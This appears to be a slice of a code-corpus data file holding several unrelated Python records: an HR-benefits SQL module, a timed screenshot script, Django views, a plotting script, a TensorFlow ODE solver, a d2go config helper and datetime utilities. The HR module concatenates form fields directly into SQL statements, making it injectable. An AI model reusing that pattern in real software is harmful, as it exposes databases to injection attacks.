self.define_child_benefits(i[0]))]}\n for i in cursor.fetchall()]\n cursor.close()\n\n # Filtro no python pois esse valor vem depois do SQL\n if request.params.get(\"association\"):\n res = [i for i in res if (request.params['association'] in i[\"3\"][1])]\n\n return res\n\n def define_child_benefits(self, hr_benefit_id):\n query = \"\"\"\n SELECT\n t.hr_benefit_type_desc\n FROM\n hr_benefit_type t\n INNER JOIN hr_benefit_type_x_hr_benefit_type hh ON\n hh.hr_benefit_type_id_child = t.hr_benefit_type_id\n WHERE\n hh.hr_benefit_type_id_parent = \"\"\" + str(hr_benefit_id)\n cursor = mysql_db.execute(query)\n\n return (\", \".join([i[0] for i in cursor.fetchall()]), cursor.close())[0]\n\n def define_value(self, value, value_type):\n return value_type and \"\" + value +\\\n \"\" or \"\" + value + \"\"\n \n def format_value(self, value):\n v = value.split(\".\")\n f = [i for i in v[0]]\n\n f.reverse()\n if len(f) > 6:\n f.insert(3, \".\")\n f.reverse()\n v[0] = reduce(lambda x,y: x + y, f)\n\n try:\n return v[0] + \",\" + (len(v[1]) == 1 and v[1] + \"0\" or v[1])\n except:\n return \"R$ 0,00\"\n\n def insert_benefit(self, dados, session):\n flag_percentage = '%' in dados['discount_value'] and '1' or '0'\n flag_tab = dados['discount_value'] in (2, '2') and '1' or '0'\n negative_flag = int(dados['negative_flag']) == 2 and '0' or \\\n int(dados['negative_flag']) == 3 and '1' or \\\n dados['negative_flag']\n salary_flag = int(dados['negative_flag']) == 2 and '1' or '0'\n inss_flag = int(dados['negative_flag']) == 3 and '1' or '0'\n user_id = session['session']['entity_id']\n user_nickname = session['session']['name_user']\n\n if int(dados['hr_update']):\n query = \"\"\"\n UPDATE hr_benefit_type\n SET hr_benefit_type_desc = '\"\"\" + dados['discount_desc'] + \"\"\"'\n , hr_benefit_type_percentage_flag = \"\"\" + flag_percentage + \"\"\"\n , hr_benefit_type_negative_flag = \"\"\" + negative_flag + \"\"\"\n , hr_benefit_type_default_value = \"\"\" + (dados['discount_n'] and str(\n float(dados['discount_n'].replace(\",\", \".\"))) or '0') + \"\"\"\n , hr_benefit_type_tab_flag = \"\"\" + flag_tab + \"\"\"\n , hr_benefit_type_periodicity = \"\"\" + dados['periodicidade'] + \"\"\"\n , updated_by = '\"\"\" + user_nickname + \"\"\"'\n , updated_time = CURRENT_TIMESTAMP\n WHERE\n hr_benefit_type_id = \"\"\" + str(session['tmp_discount_id'])\n cursor = mysql_db.execute(query)\n cursor.close()\n\n query = \"\"\"\n UPDATE hr_benefit\n SET hr_benefit_value = %s\n WHERE hr_benefit_type_id = %s\n AND hr_benefit_id > 0\n AND hr_benefit_value = (\n SELECT hr_benefit_type_default_value\n FROM hr_benefit_type\n WHERE hr_benefit_type_id = %s)\n \"\"\"\n cursor = mysql_db.execute(query % (\n str(dados['discount_n']).replace(\",\", \".\"),\n str(session['tmp_discount_id']),\n str(session['tmp_discount_id'])))\n cursor.close()\n\n else:\n query = \"INSERT INTO hr_benefit_type \"\\\n \"(hr_benefit_type_desc, hr_benefit_type_negative_flag, \"\\\n \"hr_benefit_type_percentage_flag, hr_benefit_type_salary_flag, \"\\\n \"hr_benefit_type_default_value, hr_benefit_type_tab_flag, \"\\\n + \"hr_benefit_type_periodicity, created_by) VALUES (\"\\\n \"'\" + dados['discount_desc'] + \"', \" + negative_flag\\\n + \", \" + flag_percentage + \", \" + salary_flag + \", \"\\\n + (dados['discount_n'] and str(float(\n dados['discount_n'].replace(\",\", \".\")))\\\n or '0') + \", \" + flag_tab + \", \" + dados['periodicidade']\\\n + \", '\" + user_nickname + \"')\"\n cursor = mysql_db.execute(query)\n cursor.close()\n\n query = \"SELECT MAX(hr_benefit_type_id) FROM hr_benefit_type\"\n cursor = mysql_db.execute(query)\n new_id = ([i[0] for i in cursor.fetchall()][0], cursor.close())[0]\n\n if int(dados['rh_benefit_type_id']):\n query = \"\"\"\n INSERT INTO hr_benefit_type_x_hr_benefit_type\n (hr_benefit_type_id_parent, hr_benefit_type_id_child)\n VALUES (\"\"\" + dados['rh_benefit_type_id'] + \", \" + str(new_id) + \")\"\n cursor = mysql_db.execute(query)\n cursor.close()\n\n # Tabelado\n if dados['discount_value'] in (2, '2'):\n if int(dados['hr_update']):\n q = \"DELETE FROM hr_benefit_type_table WHERE \"\\\n +\"hr_benefit_type_id = %s\"\n c = mysql_db.execute(q % (str(session['tmp_discount_id'])))\n c.close()\n\n for i in range(0, int(dados['n_campos'])):\n parcela = dados['parcela_tab_' + str(i)] and \\\n dados['parcela_tab_' + str(i)].replace(\n '.', '').replace(',', '.') or '0'\n query = \"\"\"\n INSERT INTO hr_benefit_type_table (\n hr_benefit_type_table_value_from,\n hr_benefit_type_table_value_to,\n hr_benefit_type_table_aliquot,\n hr_benefit_type_table_discount,\n hr_benefit_type_id)\n VALUES (%s, %s, %s, %s, %s)\"\"\"\n c = mysql_db.execute(query % (\n (dados['valor_de_tab_' + str(i)] and\\\n str(dados['valor_de_tab_' + str(i)]).replace(\n '.', '').replace(',', '.') or '0'),\n (dados['valor_ate_tab_' + str(i)] and\\\n str(dados['valor_ate_tab_' + str(i)]).replace(\n '.', '').replace(',', '.')),\n str(dados['aliquota_tab_' + str(i)]).replace(\n ',', '.'),\n parcela,\n (int(dados['hr_update']) and str(\n session['tmp_discount_id']) or str(new_id))\n ))\n c.close()\n\n return True\n\n def select_rh_regimes(self):\n query = \"SELECT hr_benefit_type_desc, hr_benefit_type_id FROM \"\\\n \"hr_benefit_type WHERE hr_benefit_type_salary_flag = 1 \"\\\n \"ORDER BY hr_benefit_type_desc\"\n cursor = mysql_db.execute(query)\n\n return ([{\n \"hr_benefit_type_id\": i[1],\n \"hr_benefit_type_desc\": i[0]} for i in cursor.fetchall()],\n cursor.close())[0]\n\n def select_benefit_list_deprecated(self, count=0):\n query = \"\"\"\n SELECT\n t.hr_benefit_type_id,\n t.hr_benefit_type_desc,\n t.hr_benefit_type_percentage_flag\n FROM\n hr_benefit_type t\n WHERE\n hr_benefit_type_negative_flag = 0\n AND hr_benefit_type_salary_flag = 0\n GROUP BY\n t.hr_benefit_type_id,\n t.hr_benefit_type_desc,\n t.hr_benefit_type_percentage_flag\n \"\"\"\n cursor = mysql_db.execute(query)\n\n if count:\n return (\n len([i for i in cursor.fetchall()]), cursor.close())[0]\n else:\n return ([{\n \"0\": [\"hr_benefit_type_id\", i[0]],\n \"1\": [\"hr_benefit_type_desc\", i[1]],\n \"2\": [\"hr_benefit_percentage_flag\", (i[2] and \"%\" or \"R$\")]}\n for i in cursor.fetchall()], cursor.close())[0]\n\n def select_benefit(self, hr_benefit_type_id):\n query = \"\"\"\n SELECT\n t.hr_benefit_type_id,\n t.hr_benefit_type_desc,\n t.hr_benefit_type_percentage_flag,\n t.hr_benefit_type_default_value,\n hh.hr_benefit_type_id_parent,\n t.created_by,\n IFNULL(t.updated_by, '-') AS atualizado,\n t.hr_benefit_type_negative_flag,\n t.hr_benefit_type_periodicity,\n t.created_time,\n t.updated_time,\n t.hr_benefit_type_salary_flag,\n t.hr_benefit_type_inss_flag\n FROM \n hr_benefit_type t\n LEFT JOIN hr_benefit_type_x_hr_benefit_type hh ON\n t.hr_benefit_type_id = hh.hr_benefit_type_id_child\n WHERE \n hr_benefit_type_id = \"\"\" + str(hr_benefit_type_id)\n cursor = mysql_db.execute(query)\n\n return ([{\n \"hr_benefit_type_id\": i[0],\n \"hr_benefit_type_desc\": i[1],\n \"hr_benefit_type_percentage_flag\": i[2],\n \"hr_benefit_type_default_value\": \"%.2f\" % (i[\"hr_benefit_type_default_value\"]),\n \"hr_benefit_parent\": i[4],\n \"created_by\": i[5],\n \"updated_by\": i[6],\n \"salary_flag\": i[\"hr_benefit_type_salary_flag\"],\n \"inss_flag\": i[\"hr_benefit_type_inss_flag\"],\n \"created_time\": i['created_time'].strftime(\"%d/%m/%Y as %H:%M\"),\n \"updated_time\": i['updated_time'] and\\\n i['updated_time'].strftime(\"%d/%m/%Y as %H:%M\") or '',\n \"negative_flag\": i[7],\n \"periodicity\": i[\"hr_benefit_type_periodicity\"]}\\\n for i in cursor.fetchall()][0], cursor.close())[0]\n\n def select_all_benefit_type(self):\n query = \"\"\"\n SELECT\n hr_benefit_type_desc,\n hr_benefit_type_id\n FROM\n hr_benefit_type\n WHERE\n hr_benefit_type_negative_flag = 0\n AND hr_benefit_type_status = 1\n ORDER BY\n hr_benefit_type_salary_flag DESC, hr_benefit_type_desc ASC\n \"\"\"\n c = mysql_db.execute(query)\n\n return ([{\n \"benefit_desc\": i[0],\n \"benefit_id\": i[1]} for i in c.fetchall()], c.close())[0]\n\n def select_table_benefit(self, benefit_type_id):\n query = \"\"\"\n SELECT\n hr_benefit_type_table_value_from,\n hr_benefit_type_table_value_to,\n hr_benefit_type_table_aliquot,\n hr_benefit_type_table_discount\n FROM\n hr_benefit_type_table\n WHERE\n hr_benefit_type_id = %s\"\"\"\n c = mysql_db.execute(query % (str(benefit_type_id)))\n\n return ([{\n \"valor_de\": \"%.2f\" % i[0],\n \"valor_ate\": \"%.2f\" % i[1],\n \"aliquota\": i[2],\n \"desconto\": i[3]} for i in c.fetchall()], c.close())[0]\n\n def select_benefit_entity(self, entity_id):\n query = \"\"\"\n (SELECT\n t.hr_benefit_type_id,\n b.hr_benefit_value,\n t.hr_benefit_type_desc,\n t.hr_Benefit_type_negative_flag,\n t.hr_benefit_type_percentage_flag,\n t.hr_benefit_type_default_value\n FROM\n hr_benefit b\n\t\tINNER JOIN hr_benefit_type t ON\n t.hr_benefit_type_id = b.hr_benefit_type_id\n WHERE\n entity_id = %s)\n \n UNION ALL\n\n (SELECT\n t2.hr_benefit_type_id,\n 0,\n t2.hr_benefit_type_desc,\n t2.hr_Benefit_type_negative_flag,\n t2.hr_benefit_type_percentage_flag,\n t2.hr_benefit_type_default_value\n FROM\n hr_benefit b\n\t\tINNER JOIN hr_benefit_type t ON \n t.hr_benefit_type_id = b.hr_benefit_type_id\n INNER JOIN hr_benefit_type_x_hr_benefit_type hh ON \n hh.hr_benefit_type_id_parent = t.hr_benefit_type_id\n INNER JOIN hr_benefit_type t2 ON \n t2.hr_benefit_type_id = hh.hr_benefit_type_id_child\n WHERE\n entity_id = %s)\"\"\"\n\n cursor = mysql_db.execute(\n query % (str(entity_id), str(entity_id)))\n\n return ([{\n \"benefit_id\": i[0],\n \"benefit_value\": i[1],\n \"benefit_desc\": i[2],\n \"benefit_negative\": i[3],\n \"benefit_percentage\": i[4],\n \"benefit_default\": i[5]} for i in cursor.fetchall()],\n cursor.close())[0]\n","sub_path":"rh/sql/rhSql.py","file_name":"rhSql.py","file_ext":"py","file_size_in_byte":45114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"489241582","text":"from desktopmagic.screengrab_win32 import saveRectToBmp\nimport time\nfrom datetime import datetime\n\n\nwhile True:\n print(\"60 seconds until next\")\n time.sleep(60)\n currTime = datetime.now().time()\n fixed = str(currTime).replace(\":\", \"\")\n saveRectToBmp(\"Screenshot\" + str(fixed) + \".png\", rect=(-690,-40,-150,260))\n print(\"Screenshot taken\")","sub_path":"tempScreenshots/screenshot.py","file_name":"screenshot.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"299652637","text":"from .forms import NewTopicForm,PostForm\nfrom django.shortcuts import render,get_object_or_404,redirect\nfrom django.http import HttpResponse\nfrom .models import Board,Topic,Post\nfrom django.http import Http404\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\n\n\ndef home(request):\n boards = Board.objects.all()\n return render(request,'index.html',{\"boards\":boards})\n\n \n# Create your views here.\n\ndef board_views(request,pk):\n # try:\n # board = Board.objects.get(pk=pk)\n # \n # except Board.DoesNotExist:\n # raise Http404 \n board = get_object_or_404(Board,pk=pk)\n\n return render(request,\"topics.html\",{\"board\":board})\n\n@login_required\ndef new_topic(request,pk):\n board = get_object_or_404(Board,pk=pk)\n #user = User.objects.first()\n\n if request.method == \"POST\":\n form = NewTopicForm(request.POST)\n if form.is_valid():\n topic = form.save(commit=False)\n topic.board=board\n topic.starter = request.user\n topic.save()\n\n post = Post.objects.create(\n message = form.cleaned_data.get(\"message\"),\n topic=topic,\n created_by=request.user \n\n )\n return redirect(\"topic_posts\",pk=pk,topic_pk=topic.pk)\n else:\n form = NewTopicForm()\n\n return render(request, \"new_topic.html\", {'board':board,'form':form})\n\ndef topic_posts(request,pk,topic_pk):\n topic = get_object_or_404(Topic,board__pk=pk,pk=topic_pk)\n topic.views+=1\n topic.save()\n return render(request,\"topic_posts.html\",{\"topic\":topic})\n\n@login_required\ndef reply_topic(request,pk,topic_pk):\n topic = get_object_or_404(Topic,board__pk=pk,pk=topic_pk)\n if request.method==\"POST\":\n form = PostForm(request.POST)\n if form.is_valid():\n post = form.save(commit=False)\n post.topic = topic\n post.created_by = request.user\n post.save()\n return redirect(\"topic_posts\",pk=pk,topic_pk=topic_pk)\n else:\n form = PostForm()\n return render(request,\"reply_topic.html\",{\"topic\":topic,\"form\":form})\n\n","sub_path":"ktrade/boards/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"371818510","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 22 22:57:27 2020\r\n\r\n@author: Prathmesh\r\n\"\"\"\r\nuser_input = int(input(\"Enter the range of number:\"))\r\nn = 0\r\nadd = 0\r\nwhile n<=user_input:\r\n add += n\r\n n +=1\r\nprint(add)","sub_path":"Day 3/Day 3 - Assignment_1.py","file_name":"Day 3 - Assignment_1.py","file_ext":"py","file_size_in_byte":222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"608254035","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# adatok betoltese\r\ndata1 = np.loadtxt('meresek\\\\hajszarito_gyenge.csv', delimiter='\\t', skiprows=1)\r\ndata2 = np.loadtxt('meresek\\\\hajszarito_eros.csv', delimiter='\\t', skiprows=1)\r\ndata3 = np.loadtxt('meresek\\\\2otthoni_hatter.csv', delimiter='\\t', skiprows=1)\r\n\r\n# tengelyek definialasa\r\nFreq1 = data1[:,0]\r\nAmp1 = data1[:,1]\r\nFreq2 = data2[:,0]\r\nAmp2 = data2[:,1]\r\nFreq3 = data3[:,0]\r\nAmp3 = data3[:,1]\r\n\r\n# betutipus beallitasa\r\nplt.rc('text', usetex=True)\r\nplt.rc('font', family='serif')\r\n\r\n# abrazolas, tengelyek elnevezese, cim, stb.\r\nplt.loglog(Freq3, Amp3, 'goldenrod', label='Az otthoni háttérzaj FFT-ja')\r\nplt.loglog(Freq1, Amp1, label='Alacsony teherlésű hajszárító jelének FFT-ja')\r\nplt.loglog(Freq2, Amp2, 'crimson', label='Magas teherlésű hajszárító jelének FFT-ja')\r\nplt.title('Hajszárító Zajspektruma')\r\nplt.xlabel('$\\\\nu$ (Hz)')\r\nplt.ylabel('Amplitude (a.u.)')\r\nplt.grid()\r\nplt.legend(loc='lower left')\r\n\r\n# grafikon mentese\r\nplt.savefig('hajszarito_zajspektrum', dpi=300)","sub_path":"noise_dens.py","file_name":"noise_dens.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"131826056","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Build architecture, working model with one hidden dense layer with leaky_relu activation function\ntf.keras.backend.set_floatx('float64')\nn = 100\nk = 10\nm = 1\ninput_tensor = tf.keras.layers.Input(shape=(n,1)) #creates symbolic tensor for input\n## Activation function for hidden layers\n#activation_function = tf.nn.leaky_relu\n#activation_function = tf.nn.tanh\nactivation_function = tf.nn.sigmoid\n#activation_function = tf.nn.elu\n#activation_function = tf.nn.swish\n#input_layer = tf.keras.layers.Dense(n, activation = tf.nn.elu)(input_tensor)\nhidden_layer_1 = tf.keras.layers.Dense(k, kernel_initializer= 'GlorotNormal', activation = activation_function)(input_tensor)\noutput_layer = tf.keras.layers.Dense(n*m, activation = tf.identity)(hidden_layer_1)\ntf.keras.initializers.GlorotUniform\nmodel = tf.keras.Model(inputs = input_tensor, outputs = output_layer)\n\nmodel.summary()\ntf.keras.utils.plot_model(model, 'my_first_model_with_shape_info.png', show_shapes = True)\n\n# Define domain\nminx = 0\nmaxx = 1\nx_train = np.linspace(minx,maxx,n).reshape(n,1)\nx_train_tf = tf.convert_to_tensor(x_train)\nx_train_tf = tf.reshape(x_train_tf,(100,1))\nx_train_tf.shape\nx_train.shape\n\nmodel(x_train_tf).shape\n\n\n# Define custom cost function with automatic differentiation for problem 2\ndef loss(model,x):\n with tf.GradientTape(persistent = True) as tape:\n tape.watch(x)\n y = model(x)\n dy_dx = tape.gradient(y,x)\n return (tf.reduce_mean(tf.abs(dy_dx + y - tf.math.exp(-x) * tf.math.cos(x)))/n + tf.abs(model(np.asarray([0]))[0][0]))\n #return (tf.reduce_mean(tf.square(dy_dx + y)/n) + tf.square(y[0] - 1)) \n\n\nloss(model,x_train_tf)\nmodel(x_train_tf)\n\n# Define gradients to optimize model\ndef grad(model, inputs):\n with tf.GradientTape() as tape:\n loss_value = loss(model, inputs)\n return loss_value, tape.gradient(loss_value, model.trainable_variables)\n\n# Mean absolute error\ny_label = np.exp(-x_train_tf)*np.sin(x_train_tf)\n#y_label = np.exp(-x_train_tf)\ndef mae(model, inputs, label):\n y_pred = model(inputs)\n return tf.reduce_mean(tf.math.abs((y_pred - label)))\n\n# Set Optimizer\noptimizer = tf.keras.optimizers.Adam(learning_rate = 0.01, beta_1 = 0.5, beta_2 = 0.5, epsilon = 1e-07)\n#optimizer = tf.keras.optimizers.SGD(learning_rate= 0.01)\n\n# Train NN\n## Keep results for plotting\ntrain_loss_results = []\ntrain_mae_results = []\n\nnum_epochs = 10001\n\nfor epoch in range(num_epochs):\n epoch_loss_avg = tf.keras.metrics.Mean()\n\n #Optimize model\n loss_value, grads = grad(model, x_train_tf)\n optimizer.apply_gradients(zip(grads, model.trainable_variables))\n # Track progress\n epoch_loss_avg.update_state(loss_value) \n epoch_mae = mae(model, x_train_tf ,y_label)\n # End epoch\n train_loss_results.append(epoch_loss_avg.result())\n train_mae_results.append(epoch_mae)\n if epoch % 50 == 0:\n print(\"Epoch {:03d}: Loss: {:.6f}, MAE: {:.4}\".format(epoch,epoch_loss_avg.result(), epoch_mae))\n print(\"boundary {:.6f}\".format(model(np.asarray([0])).numpy()[0][0]))\n\nx_predict = np.linspace(minx, maxx, n * 100)\ny_predict = model.predict(x_predict)\ny_predict = np.reshape(y_predict,(n*100,))\ny_true = np.exp(-x_predict)*np.sin(x_predict)\n#y_true = np.exp(-x_predict)\n\nfig = plt.figure()\nplt.plot(x_predict,y_predict, \".\")\nplt.plot(x_predict, y_true)\n\nfig = plt.figure()\nplt.plot(range(num_epochs),train_loss_results)\n\nfig = plt.figure()\nplt.plot(x_predict, (y_predict - y_true), '.')\n","sub_path":"project_folder/vectorNN.py","file_name":"vectorNN.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"442949677","text":"#!/usr/bin/env python3\n# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved\n\n\nimport logging\n\nfrom detectron2.export.caffe2_inference import ProtobufDetectionModel\nfrom d2go.config import temp_defrost\n\nlogger = logging.getLogger(__name__)\n\n\ndef infer_mask_on(model: ProtobufDetectionModel):\n # the real self.assembler should tell about this, currently use heuristic\n possible_blob_names = {\"mask_fcn_probs\"}\n return any(\n possible_blob_names.intersection(op.output)\n for op in model.protobuf_model.net.Proto().op\n )\n\n\ndef infer_keypoint_on(model: ProtobufDetectionModel):\n # the real self.assembler should tell about this, currently use heuristic\n possible_blob_names = {\"kps_score\"}\n return any(\n possible_blob_names.intersection(op.output)\n for op in model.protobuf_model.net.Proto().op\n )\n\n\ndef infer_densepose_on(model: ProtobufDetectionModel):\n possible_blob_names = {\"AnnIndex\", \"Index_UV\", \"U_estimated\", \"V_estimated\"}\n return any(\n possible_blob_names.intersection(op.output)\n for op in model.protobuf_model.net.Proto().op\n )\n\n\ndef _update_if_true(cfg, key, value):\n if not value:\n return\n\n keys = key.split(\".\")\n ref_value = cfg\n while len(keys):\n ref_value = getattr(ref_value, keys.pop(0))\n\n if ref_value != value:\n logger.warning(\n \"There's conflict between cfg and model, overwrite config {} from {} to {}\"\n .format(key, ref_value, value)\n )\n cfg.merge_from_list([key, value])\n\n\ndef update_cfg_from_pb_model(cfg, model):\n \"\"\"\n Update cfg statically based given caffe2 model, in cast that there's conflict\n between caffe2 model and the cfg, caffe2 model has higher priority.\n \"\"\"\n with temp_defrost(cfg):\n _update_if_true(cfg, \"MODEL.MASK_ON\", infer_mask_on(model))\n _update_if_true(cfg, \"MODEL.KEYPOINT_ON\", infer_keypoint_on(model))\n _update_if_true(cfg, \"MODEL.DENSEPOSE_ON\", infer_densepose_on(model))\n return cfg\n","sub_path":"d2go/export/caffe2_model_helper.py","file_name":"caffe2_model_helper.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"301694481","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 18 15:48:05 2020\n\n@author: eo\n\"\"\"\n\n\n# ---------------------------------------------------------------------------------------------------------------------\n#%% Add local path\n\nimport os\nimport sys\n\ndef find_path_to_local(target_folder = \"local\"):\n \n # Skip path finding if we successfully import the dummy file\n try:\n from local.dummy import dummy_func; dummy_func(); return\n except ImportError:\n print(\"\", \"Couldn't find local directory!\", \"Searching for path...\", sep=\"\\n\")\n \n # Figure out where this file is located so we can work backwards to find the target folder\n file_directory = os.path.dirname(os.path.abspath(__file__))\n path_check = []\n \n # Check parent directories to see if we hit the main project directory containing the target folder\n prev_working_path = working_path = file_directory\n while True:\n \n # If we find the target folder in the given directory, add it to the python path (if it's not already there)\n if target_folder in os.listdir(working_path):\n if working_path not in sys.path:\n tilde_swarm = \"~\"*(4 + len(working_path))\n print(\"\\n{}\\nPython path updated:\\n {}\\n{}\".format(tilde_swarm, working_path, tilde_swarm))\n sys.path.append(working_path)\n break\n \n # Stop if we hit the filesystem root directory (parent directory isn't changing)\n prev_working_path, working_path = working_path, os.path.dirname(working_path)\n path_check.append(prev_working_path)\n if prev_working_path == working_path:\n print(\"\\nTried paths:\", *path_check, \"\", sep=\"\\n \")\n raise ImportError(\"Can't find '{}' directory!\".format(target_folder))\n \nfind_path_to_local()\n\n# ---------------------------------------------------------------------------------------------------------------------\n#%% Imports\n\nimport time\nimport datetime as dt\n\n\n# ---------------------------------------------------------------------------------------------------------------------\n#%% Define classes\n\n# .....................................................................................................................\n\n# .....................................................................................................................\n# .....................................................................................................................\n\n# ---------------------------------------------------------------------------------------------------------------------\n#%% General functions\n\n# .....................................................................................................................\n \ndef get_utc_datetime():\n\n ''' Returns a datetime object based on UTC time, with timezone information included '''\n\n return dt.datetime.utcnow().replace(tzinfo = get_utc_tzinfo())\n \n# .....................................................................................................................\n \ndef get_local_datetime():\n\n ''' Returns a datetime object based on the local time, with timezone information included '''\n\n return dt.datetime.now(tz = get_local_tzinfo())\n\n# .....................................................................................................................\n\ndef get_local_tzinfo():\n \n ''' Function which returns a local tzinfo object. Accounts for daylight savings '''\n \n # Figure out utc offset for local time, accounting for daylight savings\n is_daylight_savings = time.localtime().tm_isdst\n utc_offset_sec = time.altzone if is_daylight_savings else time.timezone\n utc_offset_delta = dt.timedelta(seconds = -utc_offset_sec)\n \n return dt.timezone(offset = utc_offset_delta)\n \n# .....................................................................................................................\n\ndef get_utc_tzinfo():\n \n ''' Convenience function which returns a utc tzinfo object '''\n \n return dt.timezone.utc\n\n# .....................................................................................................................\n# .....................................................................................................................\n\n\n# ---------------------------------------------------------------------------------------------------------------------\n#%% Isoformat conversion functions\n\n# .....................................................................................................................\n\ndef isoformat_to_datetime(isoformat_datetime_str):\n \n '''\n Function for parsing isoformat strings\n Example string:\n \"2019-05-11T17:22:33+00:00.999\"\n '''\n \n # Check if the end of the string contains timezone offset info\n includes_offset = isoformat_datetime_str[-6] in (\"+\", \"-\")\n offset_dt = dt.timedelta(0)\n if includes_offset:\n \n # Figure out the timezone offset amount\n offset_hrs = int(isoformat_datetime_str[-6:-3])\n offset_mins = int(isoformat_datetime_str[-2:])\n offset_mins = offset_mins if offset_hrs > 0 else -1 * offset_mins\n offset_dt = dt.timedelta(hours = offset_hrs, minutes = offset_mins)\n \n # Remove offset from string before trying to parse\n isoformat_datetime_str = isoformat_datetime_str[:-6]\n \n # Convert timezone information into a timezone object that we can add back into the returned result\n parsed_tzinfo = dt.timezone(offset = offset_dt)\n \n # Decide if we need to parse milli/micro seconds\n includes_subseconds = len(isoformat_datetime_str) > 19\n string_format = \"%Y-%m-%dT%H:%M:%S.%f\" if includes_subseconds else \"%Y-%m-%dT%H:%M:%S\"\n \n # Finally, create the output datetime, with timezone info\n parsed_dt = dt.datetime.strptime(isoformat_datetime_str[:], string_format).replace(tzinfo = parsed_tzinfo)\n \n return parsed_dt\n\n# .....................................................................................................................\n\ndef isoformat_to_epoch_ms(datetime_isoformat_string):\n \n '''\n Helper function which first converts an isoformat datetime string into a python datetime object\n then converts the datetime object into an epoch_ms value\n '''\n \n return datetime_to_epoch_ms(isoformat_to_datetime(datetime_isoformat_string))\n\n# .....................................................................................................................\n# .....................................................................................................................\n\n\n# ---------------------------------------------------------------------------------------------------------------------\n#%% Datetime conversion functions\n\n# .....................................................................................................................\n\ndef datetime_to_human_readable_string(input_datetime):\n \n '''\n Converts a datetime object into a 'human friendly' string\n Example:\n \"2019-01-30 05:11:33 PM (-0400 UTC)\"\n \n Note: This function assumes the datetime object has timezone information (tzinfo)\n '''\n \n return input_datetime.strftime(\"%Y-%m-%d %I:%M:%S %p (%z UTC)\")\n\n# .....................................................................................................................\n\ndef datetime_to_isoformat_string(input_datetime):\n \n '''\n Converts a datetime object into an isoformat string\n Example:\n \"2019-01-30T11:22:33+00:00.000000\"\n \n Note: This function assumes the datetime object has timezone information (tzinfo)\n '''\n \n return input_datetime.isoformat()\n\n# .....................................................................................................................\n\ndef datetime_to_epoch_ms(input_datetime):\n \n ''' Function which converts a datetime to the number of milliseconds since the 'epoch' (~ Jan 1970) '''\n \n return int(round(1000 * input_datetime.timestamp()))\n\n# .....................................................................................................................\n\ndef datetime_convert_to_day_start(input_datetime):\n \n ''' Function which takes in a datetime and returns a datetime as of the start of that day '''\n \n return input_datetime.replace(hour = 0, minute = 0, second = 0, microsecond = 0)\n\n# .....................................................................................................................\n\ndef datetime_convert_to_day_end(input_datetime):\n \n ''' Function which takes in a datetime and returns a datetime as of the end of that day (minus 1 second) '''\n \n return input_datetime.replace(hour = 23, minute = 59, second = 59, microsecond = 0)\n\n# .....................................................................................................................\n\ndef local_datetime_to_utc_datetime(local_datetime):\n \n ''' Convenience function for converting datetime objects from local timezones to utc '''\n \n return (local_datetime - local_datetime.utcoffset()).replace(tzinfo = get_utc_tzinfo())\n\n# .....................................................................................................................\n# .....................................................................................................................\n\n\n# ---------------------------------------------------------------------------------------------------------------------\n#%% Epoch conversion functions\n\n# .....................................................................................................................\n\ndef epoch_ms_to_utc_datetime(epoch_ms):\n \n ''' Function which converts a millisecond epoch value into a utc datetime object '''\n \n epoch_sec = epoch_ms / 1000.0\n return dt.datetime.utcfromtimestamp(epoch_sec).replace(tzinfo = get_utc_tzinfo())\n\n# .....................................................................................................................\n\ndef epoch_ms_to_local_datetime(epoch_ms):\n \n ''' Function which converts a millisecond epoch value into a datetime object with the local timezone '''\n \n epoch_sec = epoch_ms / 1000.0\n return dt.datetime.fromtimestamp(epoch_sec).replace(tzinfo = get_local_tzinfo())\n\n# .....................................................................................................................\n\ndef epoch_ms_to_utc_isoformat(epoch_ms):\n \n '''\n Helper function which first converts an epoch_ms value into a python datetime object\n then converts the datetime object into an isoformat string\n The result will use a UTC timezone\n '''\n \n return datetime_to_isoformat_string(epoch_ms_to_utc_datetime(epoch_ms))\n\n# .....................................................................................................................\n\ndef epoch_ms_to_local_isoformat(epoch_ms):\n \n '''\n Helper function which first converts an epoch_ms value into a python datetime object\n then converts the datetime object into an isoformat string\n The result will use the local timezone\n '''\n \n return datetime_to_isoformat_string(epoch_ms_to_local_datetime(epoch_ms))\n\n# .................................................................................................................\n\ndef any_time_type_to_epoch_ms(time_value):\n \n # Decide how to handle the input time value based on it's type\n value_type = type(time_value)\n \n # If an integer is provided, assume it is already an epoch_ms value\n if value_type is int:\n return time_value\n \n # If a float is provided, assume it is an epoch_ms value, so return integer version\n elif value_type is float:\n return int(round(time_value))\n \n # If a datetime vlaue is provided, use timekeeper library to convert\n elif value_type is dt.datetime:\n return datetime_to_epoch_ms(time_value)\n \n # If a string is provided, assume it is an isoformat datetime string\n elif value_type is str:\n return isoformat_to_epoch_ms(time_value)\n \n # If we get here, we couldn't parse the time!\n raise TypeError(\"Unable to parse input time value: {}, type: {}\".format(time_value, value_type))\n\n# .....................................................................................................................\n# .....................................................................................................................\n\n\n# ---------------------------------------------------------------------------------------------------------------------\n#%% Reporting functions\n\n# .....................................................................................................................\n\ndef timestamped_log(message):\n \n # Get current time\n locat_dt = get_local_datetime()\n timestamp_str = datetime_to_human_readable_string(locat_dt)\n \n # Prefix message with timestamp\n print_str = \"{} | {}\".format(timestamp_str, message)\n \n return print_str\n\n# .....................................................................................................................\n# 